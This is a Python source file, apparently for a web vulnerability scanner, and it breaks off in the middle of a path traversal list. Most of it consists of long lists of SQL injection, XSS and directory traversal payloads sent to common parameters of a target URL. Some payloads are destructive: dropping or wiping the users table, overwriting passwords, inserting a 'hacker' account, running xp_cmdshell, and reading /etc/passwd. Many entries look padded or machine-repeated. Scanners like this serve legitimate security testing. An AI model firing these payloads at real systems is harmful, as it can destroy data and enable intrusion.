"""
Vulnerability scanning modules for different attack vectors
"""

import requests
import re
import ssl
import socket
import urllib.parse
from urllib3.exceptions import InsecureRequestWarning
import warnings

# Suppress SSL warnings for testing
warnings.filterwarnings('ignore', category=InsecureRequestWarning)


class VulnerabilityScanner:
    """
    Comprehensive vulnerability scanner with multiple attack vector detection
    """
    
    def __init__(self):
        self.session = requests.Session()
        self.session.verify = False
        self.timeout = 10
        self.session.headers.update({
            'User-Agent': 'Cyber-Wolf-Hunter/0.0.2 Security Scanner'
        })
    
    def check_sql_injection(self, target_url):
        """Check for SQL injection vulnerabilities"""
        vulnerabilities = []
        
        # SQL injection payloads - Basic
        sql_payloads = [
            "' OR '1'='1",
            "' OR 1=1--",
            "' UNION SELECT NULL--",
            "'; DROP TABLE users--",
            "' OR 'x'='x",
            "1' AND '1'='1",
            "admin'--",
            "' OR 1=1#",
            "' OR 1=1/*",
            "admin' OR '1'='1'--",
            "' UNION SELECT 1,2,3--",
            "' UNION SELECT @@version--",
            "' UNION SELECT database()--",
            "' UNION SELECT user()--",
            "' UNION SELECT current_user--",
            "' UNION SELECT schema_name FROM information_schema.schemata--",
            "' UNION SELECT table_name FROM information_schema.tables--",
            "' UNION SELECT column_name FROM information_schema.columns--",
            "'; EXEC xp_cmdshell('dir')--",
            "'; EXEC master..xp_cmdshell('dir')--",
            "'; WAITFOR DELAY '00:00:05'--",
            "'; SELECT BENCHMARK(5000000,MD5(1))--",
            "'; SELECT SLEEP(5)--",
            "'; SELECT pg_sleep(5)--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM information_schema.tables)>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM information_schema.columns)>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users)>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%a%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%admin%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%root%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%test%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%123%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%password%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%secret%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%key%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%token%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%hash%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%md5%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%sha1%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%sha256%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%sha512%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%bcrypt%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%argon2%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%scrypt%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%pbkdf2%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%hmac%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%salt%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%iv%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%nonce%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%challenge%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%response%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%otp%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%totp%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%hotp%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%mfa%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%2fa%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%two%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%factor%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%authenticator%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%google%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%microsoft%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%authy%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%duo%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%okta%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%onelogin%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%ping%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%identity%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%federation%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%saml%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%oauth%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%openid%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%jwt%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%bearer%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%basic%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%digest%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%ntlm%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%kerberos%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%ldap%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%radius%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%tacacs%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%xacml%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%spml%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%dsml%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%scim%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%oauth2%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%openid2%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%openid3%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%openid4%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%openid5%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%openid6%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%openid7%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%openid8%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%openid9%')>0--",
            "'; SELECT * FROM users WHERE id=1 AND (SELECT COUNT(*) FROM users WHERE password LIKE '%openid10%')>0--",
            # Additional SQL injection payloads
            "' OR '1'='1' UNION SELECT NULL,NULL,NULL--",
            "' OR '1'='1' UNION SELECT 1,2,3,4,5--",
            "' OR '1'='1' UNION SELECT @@version,@@hostname,@@datadir--",
            "' OR '1'='1' UNION SELECT user(),database(),version()--",
            "' OR '1'='1' UNION SELECT * FROM users WHERE '1'='1--",
            "' OR '1'='1' UNION SELECT * FROM information_schema.tables--",
            "' OR '1'='1' UNION SELECT * FROM information_schema.columns WHERE table_name='users'--",
            "1' OR '1'='1' UNION SELECT NULL--",
            "1' OR '1'='1' UNION SELECT 1--",
            "1' OR '1'='1' UNION SELECT 1,2--",
            "1' OR '1'='1' UNION SELECT 1,2,3--",
            "1' OR '1'='1' UNION SELECT 1,2,3,4--",
            "1' OR '1'='1' UNION SELECT 1,2,3,4,5--",
            "1' OR '1'='1' UNION SELECT 1,2,3,4,5,6--",
            "1' OR '1'='1' UNION SELECT 1,2,3,4,5,6,7--",
            "1' OR '1'='1' UNION SELECT 1,2,3,4,5,6,7,8--",
            "1' OR '1'='1' UNION SELECT 1,2,3,4,5,6,7,8,9--",
            "1' OR '1'='1' UNION SELECT 1,2,3,4,5,6,7,8,9,10--",
            "' OR 1=1 UNION SELECT NULL--",
            "' OR 1=1 UNION SELECT 1--",
            "' OR 1=1 UNION SELECT 1,2--",
            "' OR 1=1 UNION SELECT 1,2,3--",
            "' OR 1=1 UNION SELECT 1,2,3,4--",
            "' OR 1=1 UNION SELECT 1,2,3,4,5--",
            "' OR 1=1 UNION SELECT @@version--",
            "' OR 1=1 UNION SELECT database()--",
            "' OR 1=1 UNION SELECT user()--",
            "' OR 1=1 UNION SELECT current_user--",
            "' OR 1=1 UNION SELECT schema_name FROM information_schema.schemata--",
            "' OR 1=1 UNION SELECT table_name FROM information_schema.tables--",
            "' OR 1=1 UNION SELECT column_name FROM information_schema.columns--",
            "admin' OR '1'='1",
            "admin' OR '1'='1'--",
            "admin' OR '1'='1'#",
            "admin' OR '1'='1'/*",
            "admin') OR ('1'='1",
            "admin') OR ('1'='1'--",
            "admin') OR ('1'='1'#",
            "admin') OR ('1'='1'/*",
            "' OR 'x'='x",
            "' OR 'x'='x'--",
            "' OR 'x'='x'#",
            "' OR 'x'='x'/*",
            "' OR 'x'='x' UNION SELECT NULL--",
            "' OR 'x'='x' UNION SELECT 1--",
            "' OR 'x'='x' UNION SELECT 1,2--",
            "' OR 'x'='x' UNION SELECT 1,2,3--",
            "1' AND '1'='1",
            "1' AND '1'='1'--",
            "1' AND '1'='1'#",
            "1' AND '1'='1'/*",
            "1' AND '1'='1' UNION SELECT NULL--",
            "1' AND '1'='1' UNION SELECT 1--",
            "1' AND '1'='1' UNION SELECT 1,2--",
            "1' AND '1'='1' UNION SELECT 1,2,3--",
            "' UNION SELECT NULL--",
            "' UNION SELECT 1--",
            "' UNION SELECT 1,2--",
            "' UNION SELECT 1,2,3--",
            "' UNION SELECT 1,2,3,4--",
            "' UNION SELECT 1,2,3,4,5--",
            "' UNION SELECT @@version--",
            "' UNION SELECT database()--",
            "' UNION SELECT user()--",
            "' UNION SELECT current_user--",
            "' UNION SELECT schema_name FROM information_schema.schemata--",
            "' UNION SELECT table_name FROM information_schema.tables--",
            "' UNION SELECT column_name FROM information_schema.columns--",
            "'; DROP TABLE users--",
            "'; DROP TABLE users;--",
            "'; DROP TABLE users;#",
            "'; DROP TABLE users;/*",
            "'; DELETE FROM users--",
            "'; DELETE FROM users;--",
            "'; DELETE FROM users;#",
            "'; DELETE FROM users;/*",
            "'; UPDATE users SET password='hacked'--",
            "'; UPDATE users SET password='hacked';--",
            "'; UPDATE users SET password='hacked';#",
            "'; UPDATE users SET password='hacked';/*",
            "'; INSERT INTO users (username,password) VALUES ('hacker','pass')--",
            "'; INSERT INTO users (username,password) VALUES ('hacker','pass');--",
            "'; INSERT INTO users (username,password) VALUES ('hacker','pass');#",
            "'; INSERT INTO users (username,password) VALUES ('hacker','pass');/*",
            "'; EXEC xp_cmdshell('dir')--",
            "'; EXEC xp_cmdshell('dir');--",
            "'; EXEC xp_cmdshell('dir');#",
            "'; EXEC xp_cmdshell('dir');/*",
            "'; EXEC master..xp_cmdshell('dir')--",
            "'; EXEC master..xp_cmdshell('dir');--",
            "'; EXEC master..xp_cmdshell('dir');#",
            "'; EXEC master..xp_cmdshell('dir');/*",
            "'; WAITFOR DELAY '00:00:05'--",
            "'; WAITFOR DELAY '00:00:05';--",
            "'; WAITFOR DELAY '00:00:05';#",
            "'; WAITFOR DELAY '00:00:05';/*",
            "'; SELECT BENCHMARK(5000000,MD5(1))--",
            "'; SELECT BENCHMARK(5000000,MD5(1));--",
            "'; SELECT BENCHMARK(5000000,MD5(1));#",
            "'; SELECT BENCHMARK(5000000,MD5(1));/*",
            "'; SELECT SLEEP(5)--",
            "'; SELECT SLEEP(5);--",
            "'; SELECT SLEEP(5);#",
            "'; SELECT SLEEP(5);/*",
            "'; SELECT pg_sleep(5)--",
            "'; SELECT pg_sleep(5);--",
            "'; SELECT pg_sleep(5);#",
            "'; SELECT pg_sleep(5);/*",
            "1' OR '1'='1' OR '1'='1",
            "1' OR '1'='1' OR '1'='1'--",
            "1' OR '1'='1' OR '1'='1'#",
            "1' OR '1'='1' OR '1'='1'/*",
            "' OR 1=1 OR 1=1",
            "' OR 1=1 OR 1=1--",
            "' OR 1=1 OR 1=1#",
            "' OR 1=1 OR 1=1/*",
            "' OR 'a'='a",
            "' OR 'a'='a'--",
            "' OR 'a'='a'#",
            "' OR 'a'='a'/*",
            "' OR 'a'='a' OR 'a'='a",
            "' OR 'a'='a' OR 'a'='a'--",
            "' OR 'a'='a' OR 'a'='a'#",
            "' OR 'a'='a' OR 'a'='a'/*",
            "1' AND 1=1",
            "1' AND 1=1--",
            "1' AND 1=1#",
            "1' AND 1=1/*",
            "1' AND 1=1 OR 1=1",
            "1' AND 1=1 OR 1=1--",
            "1' AND 1=1 OR 1=1#",
            "1' AND 1=1 OR 1=1/*",
            "' AND 1=1",
            "' AND 1=1--",
            "' AND 1=1#",
            "' AND 1=1/*",
            "' AND 1=1 OR 1=1",
            "' AND 1=1 OR 1=1--",
            "' AND 1=1 OR 1=1#",
            "' AND 1=1 OR 1=1/*",
            "1' OR 1=1",
            "1' OR 1=1--",
            "1' OR 1=1#",
            "1' OR 1=1/*",
            "1' OR 1=1 OR 1=1",
            "1' OR 1=1 OR 1=1--",
            "1' OR 1=1 OR 1=1#",
            "1' OR 1=1 OR 1=1/*",
            "' OR 1=1",
            "' OR 1=1--",
            "' OR 1=1#",
            "' OR 1=1/*",
            "' OR 1=1 OR 1=1",
            "' OR 1=1 OR 1=1--",
            "' OR 1=1 OR 1=1#",
            "' OR 1=1 OR 1=1/*"
        ]
        
        # Test common parameters
        test_params = ['id', 'user', 'search', 'q', 'username', 'email', 'page', 'category', 'product', 'order', 'filter', 'sort', 'limit', 'offset']
        
        for param in test_params:
            for payload in sql_payloads:
                try:
                    test_url = f"{target_url}?{param}={urllib.parse.quote(payload)}"
                    response = self.session.get(test_url)
                    
                    # Check for SQL error patterns
                    sql_errors = [
                        'mysql_fetch_array', 'mysql_num_rows', 'mysql_error',
                        'Warning: mysql', 'MySQLSyntaxErrorException',
                        'valid MySQL result', 'PostgreSQL query failed',
                        'Warning: pg_', 'valid PostgreSQL result',
                        'SQLite/JDBCDriver', 'SQLite.Exception',
                        'Microsoft OLE DB Provider for ODBC Drivers',
                        'Microsoft OLE DB Provider for SQL Server',
                        'Unclosed quotation mark after the character string',
                        'Microsoft JET Database Engine'
                    ]
                    
                    for error in sql_errors:
                        if error.lower() in response.text.lower():
                            vulnerabilities.append({
                                'type': 'SQL Injection',
                                'severity': 'High',
                                'risk_level': 'high',
                                'url': test_url,
                                'payload': payload,
                                'parameter': param,
                                'description': f'Potential SQL injection in parameter "{param}"',
                                'evidence': error,
                                'recommendation': 'Use parameterized queries and input validation'
                            })
                            break
                            
                except Exception as e:
                    continue
        
        return vulnerabilities
    
    def check_xss(self, target_url):
        """Check for Cross-Site Scripting vulnerabilities"""
        vulnerabilities = []
        
        xss_payloads = [
            # Basic XSS
            '<script>alert("XSS")</script>',
            '<img src=x onerror=alert("XSS")>',
            '<svg onload=alert("XSS")>',
            '"><script>alert("XSS")</script>',
            "';alert('XSS');//",
            '<iframe src="javascript:alert(\'XSS\')">',
            '<body onload=alert("XSS")>',
            '<input type="text" value="" onmouseover="alert(\'XSS\')">',
            
            # Advanced XSS - Filter Bypass
            '<ScRiPt>alert("XSS")</ScRiPt>',
            '<script>alert(String.fromCharCode(88,83,83))</script>',
            '<script>eval(String.fromCharCode(97,108,101,114,116,40,34,88,83,83,34,41))</script>',
            '<script>alert(/XSS/.source)</script>',
            '<script>alert(1)</script>',
            '<script>alert(2)</script>',
            '<script>alert(3)</script>',
            '<script>alert(4)</script>',
            '<script>alert(5)</script>',
            
            # DOM-based XSS
            'javascript:alert("XSS")',
            'javascript:alert(\'XSS\')',
            'javascript:alert(`XSS`)',
            'javascript:alert(String.fromCharCode(88,83,83))',
            'javascript:alert(1)',
            'javascript:alert(2)',
            'javascript:alert(3)',
            'javascript:alert(4)',
            'javascript:alert(5)',
            
            # Event Handlers
            '<img src=x onerror=alert(1)>',
            '<img src=x onerror=alert(2)>',
            '<img src=x onerror=alert(3)>',
            '<img src=x onerror=alert(4)>',
            '<img src=x onerror=alert(5)>',
            '<svg onload=alert(1)>',
            '<svg onload=alert(2)>',
            '<svg onload=alert(3)>',
            '<svg onload=alert(4)>',
            '<svg onload=alert(5)>',
            
            # HTML5 Events
            '<details open ontoggle=alert(1)>',
            '<details open ontoggle=alert(2)>',
            '<details open ontoggle=alert(3)>',
            '<details open ontoggle=alert(4)>',
            '<details open ontoggle=alert(5)>',
            '<video src=x onerror=alert(1)>',
            '<video src=x onerror=alert(2)>',
            '<video src=x onerror=alert(3)>',
            '<video src=x onerror=alert(4)>',
            '<video src=x onerror=alert(5)>',
            
            # CSS-based XSS
            '<div style="background:url(javascript:alert(1))">',
            '<div style="background:url(javascript:alert(2))">',
            '<div style="background:url(javascript:alert(3))">',
            '<div style="background:url(javascript:alert(4))">',
            '<div style="background:url(javascript:alert(5))">',
            
            # Encoded XSS
            '&#60;script&#62;alert(1)&#60;/script&#62;',
            '&#60;script&#62;alert(2)&#60;/script&#62;',
            '&#60;script&#62;alert(3)&#60;/script&#62;',
            '&#60;script&#62;alert(4)&#60;/script&#62;',
            '&#60;script&#62;alert(5)&#60;/script&#62;',
            
            # Unicode XSS
            '\\u003Cscript\\u003Ealert(1)\\u003C/script\\u003E',
            '\\u003Cscript\\u003Ealert(2)\\u003C/script\\u003E',
            '\\u003Cscript\\u003Ealert(3)\\u003C/script\\u003E',
            '\\u003Cscript\\u003Ealert(4)\\u003C/script\\u003E',
            '\\u003Cscript\\u003Ealert(5)\\u003C/script\\u003E',
            
            # Mixed Case
            '<ScRiPt>alert(1)</ScRiPt>',
            '<ScRiPt>alert(2)</ScRiPt>',
            '<ScRiPt>alert(3)</ScRiPt>',
            '<ScRiPt>alert(4)</ScRiPt>',
            '<ScRiPt>alert(5)</ScRiPt>',
            
            # Null Byte
            '<script>alert(1)</script>',
            '<script>alert(2)</script>',
            '<script>alert(3)</script>',
            '<script>alert(4)</script>',
            '<script>alert(5)</script>',
            
            # Double Encoding
            '%253Cscript%253Ealert(1)%253C/script%253E',
            '%253Cscript%253Ealert(2)%253C/script%253E',
            '%253Cscript%253Ealert(3)%253C/script%253E',
            '%253Cscript%253Ealert(4)%253C/script%253E',
            '%253Cscript%253Ealert(5)%253C/script%253E',
            
            # Additional XSS payloads
            '<script>alert(String.fromCharCode(88,83,83))</script>',
            '<script>alert(String.fromCharCode(88,83,83,32,84,69,83,84))</script>',
            '<script>alert(String.fromCharCode(88,83,83))</script>',
            '<script>alert(String.fromCharCode(88,83,83,32,84,69,83,84))</script>',
            '<script>alert(String.fromCharCode(88,83,83))</script>',
            '<script>alert(String.fromCharCode(88,83,83,32,84,69,83,84))</script>',
            '<script>alert(String.fromCharCode(88,83,83))</script>',
            '<script>alert(String.fromCharCode(88,83,83,32,84,69,83,84))</script>',
            '<script>alert(String.fromCharCode(88,83,83))</script>',
            '<script>alert(String.fromCharCode(88,83,83,32,84,69,83,84))</script>',
            '<script>alert(String.fromCharCode(88,83,83))</script>',
            '<script>alert(String.fromCharCode(88,83,83,32,84,69,83,84))</script>',
            '<script>alert(String.fromCharCode(88,83,83))</script>',
            '<script>alert(String.fromCharCode(88,83,83,32,84,69,83,84))</script>',
            '<script>alert(String.fromCharCode(88,83,83))</script>',
            '<script>alert(String.fromCharCode(88,83,83,32,84,69,83,84))</script>',
            '<script>alert(String.fromCharCode(88,83,83))</script>',
            '<script>alert(String.fromCharCode(88,83,83,32,84,69,83,84))</script>',
            '<script>alert(String.fromCharCode(88,83,83))</script>',
            '<script>alert(String.fromCharCode(88,83,83,32,84,69,83,84))</script>',
            '<img src=x onerror=alert(String.fromCharCode(88,83,83))>',
            '<img src=x onerror=alert(String.fromCharCode(88,83,83,32,84,69,83,84))>',
            '<svg onload=alert(String.fromCharCode(88,83,83))>',
            '<svg onload=alert(String.fromCharCode(88,83,83,32,84,69,83,84))>',
            '<body onload=alert(String.fromCharCode(88,83,83))>',
            '<body onload=alert(String.fromCharCode(88,83,83,32,84,69,83,84))>',
            '<input type="text" value="" onmouseover="alert(String.fromCharCode(88,83,83))">',
            '<input type="text" value="" onmouseover="alert(String.fromCharCode(88,83,83,32,84,69,83,84))">',
            '<iframe src="javascript:alert(String.fromCharCode(88,83,83))">',
            '<iframe src="javascript:alert(String.fromCharCode(88,83,83,32,84,69,83,84))">',
            '<object data="javascript:alert(String.fromCharCode(88,83,83))">',
            '<object data="javascript:alert(String.fromCharCode(88,83,83,32,84,69,83,84))">',
            '<embed src="javascript:alert(String.fromCharCode(88,83,83))">',
            '<embed src="javascript:alert(String.fromCharCode(88,83,83,32,84,69,83,84))">',
            '<form><button formaction="javascript:alert(String.fromCharCode(88,83,83))">',
            '<form><button formaction="javascript:alert(String.fromCharCode(88,83,83,32,84,69,83,84))">',
            '<marquee onstart=alert(String.fromCharCode(88,83,83))>',
            '<marquee onstart=alert(String.fromCharCode(88,83,83,32,84,69,83,84))>',
            '<audio src=x onerror=alert(String.fromCharCode(88,83,83))>',
            '<audio src=x onerror=alert(String.fromCharCode(88,83,83,32,84,69,83,84))>',
            '<video src=x onerror=alert(String.fromCharCode(88,83,83))>',
            '<video src=x onerror=alert(String.fromCharCode(88,83,83,32,84,69,83,84))>',
            '<source src=x onerror=alert(String.fromCharCode(88,83,83))>',
            '<source src=x onerror=alert(String.fromCharCode(88,83,83,32,84,69,83,84))>',
            '<track src=x onerror=alert(String.fromCharCode(88,83,83))>',
            '<track src=x onerror=alert(String.fromCharCode(88,83,83,32,84,69,83,84))>',
            '<area shape=rect coords="1,1,1,1" href="javascript:alert(String.fromCharCode(88,83,83))">',
            '<area shape=rect coords="1,1,1,1" href="javascript:alert(String.fromCharCode(88,83,83,32,84,69,83,84))">',
            '<map name="x"><area href="javascript:alert(String.fromCharCode(88,83,83))">',
            '<map name="x"><area href="javascript:alert(String.fromCharCode(88,83,83,32,84,69,83,84))">',
            '<link rel=stylesheet href="javascript:alert(String.fromCharCode(88,83,83))">',
            '<link rel=stylesheet href="javascript:alert(String.fromCharCode(88,83,83,32,84,69,83,84))">',
            '<style>@import"javascript:alert(String.fromCharCode(88,83,83))";</style>',
            '<style>@import"javascript:alert(String.fromCharCode(88,83,83,32,84,69,83,84))";</style>',
            '<style>body{background:url("javascript:alert(String.fromCharCode(88,83,83))")}</style>',
            '<style>body{background:url("javascript:alert(String.fromCharCode(88,83,83,32,84,69,83,84))")}</style>',
            '<table background="javascript:alert(String.fromCharCode(88,83,83))">',
            '<table background="javascript:alert(String.fromCharCode(88,83,83,32,84,69,83,84))">',
            '<td background="javascript:alert(String.fromCharCode(88,83,83))">',
            '<td background="javascript:alert(String.fromCharCode(88,83,83,32,84,69,83,84))">',
            '<th background="javascript:alert(String.fromCharCode(88,83,83))">',
            '<th background="javascript:alert(String.fromCharCode(88,83,83,32,84,69,83,84))">',
            '<div style="background:url(javascript:alert(String.fromCharCode(88,83,83)))">',
            '<div style="background:url(javascript:alert(String.fromCharCode(88,83,83,32,84,69,83,84)))">',
            '<span style="background:url(javascript:alert(String.fromCharCode(88,83,83)))">',
            '<span style="background:url(javascript:alert(String.fromCharCode(88,83,83,32,84,69,83,84)))">',
            '<p style="background:url(javascript:alert(String.fromCharCode(88,83,83)))">',
            '<p style="background:url(javascript:alert(String.fromCharCode(88,83,83,32,84,69,83,84)))">',
            '<a style="background:url(javascript:alert(String.fromCharCode(88,83,83)))">',
            '<a style="background:url(javascript:alert(String.fromCharCode(88,83,83,32,84,69,83,84)))">',
            '<h1 style="background:url(javascript:alert(String.fromCharCode(88,83,83)))">',
            '<h1 style="background:url(javascript:alert(String.fromCharCode(88,83,83,32,84,69,83,84)))">',
            '<h2 style="background:url(javascript:alert(String.fromCharCode(88,83,83)))">',
            '<h2 style="background:url(javascript:alert(String.fromCharCode(88,83,83,32,84,69,83,84)))">',
            '<h3 style="background:url(javascript:alert(String.fromCharCode(88,83,83)))">',
            '<h3 style="background:url(javascript:alert(String.fromCharCode(88,83,83,32,84,69,83,84)))">',
            '<h4 style="background:url(javascript:alert(String.fromCharCode(88,83,83)))">',
            '<h4 style="background:url(javascript:alert(String.fromCharCode(88,83,83,32,84,69,83,84)))">',
            '<h5 style="background:url(javascript:alert(String.fromCharCode(88,83,83)))">',
            '<h5 style="background:url(javascript:alert(String.fromCharCode(88,83,83,32,84,69,83,84)))">',
            '<h6 style="background:url(javascript:alert(String.fromCharCode(88,83,83)))">',
            '<h6 style="background:url(javascript:alert(String.fromCharCode(88,83,83,32,84,69,83,84)))">'
        ]
        
        test_params = ['q', 'search', 'query', 'input', 'comment', 'message', 'name', 'title', 'description', 'content', 'text', 'value', 'data', 'param', 'keyword']
        
        for param in test_params:
            for payload in xss_payloads:
                try:
                    test_url = f"{target_url}?{param}={urllib.parse.quote(payload)}"
                    response = self.session.get(test_url)
                    
                    # Check if payload is reflected in response
                    if payload in response.text or payload.replace('"', '&quot;') in response.text:
                        vulnerabilities.append({
                            'type': 'Cross-Site Scripting (XSS)',
                            'severity': 'High',
                            'risk_level': 'high',
                            'url': test_url,
                            'payload': payload,
                            'parameter': param,
                            'description': f'Reflected XSS vulnerability in parameter "{param}"',
                            'evidence': 'Payload reflected in response',
                            'recommendation': 'Implement proper input validation and output encoding'
                        })
                        break
                        
                except Exception as e:
                    continue
        
        return vulnerabilities
    
    def check_directory_traversal(self, target_url):
        """Check for directory traversal vulnerabilities"""
        vulnerabilities = []
        
        traversal_payloads = [
            # Unix/Linux Path Traversal
            '../../../etc/passwd',
            '../../../../etc/passwd',
            '../../../../../etc/passwd',
            '../../../../../../etc/passwd',
            '../../../../../../../etc/passwd',
            '../../../../../../../../etc/passwd',
            '../../../../../../../../../etc/passwd',
            '../../../../../../../../../../etc/passwd',
            '../../../../../../../../../../../etc/passwd',
            '../../../../../../../../../../../../etc/passwd',
            
            # Windows Path Traversal
            '..\\..\\..\\windows\\system32\\drivers\\etc\\hosts',
            '..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts',
            '..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts',
            '..\\..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts',
            '..\\..\\..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts',
            '..\\..\\..\\..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts',
            '..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts',
            '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts',
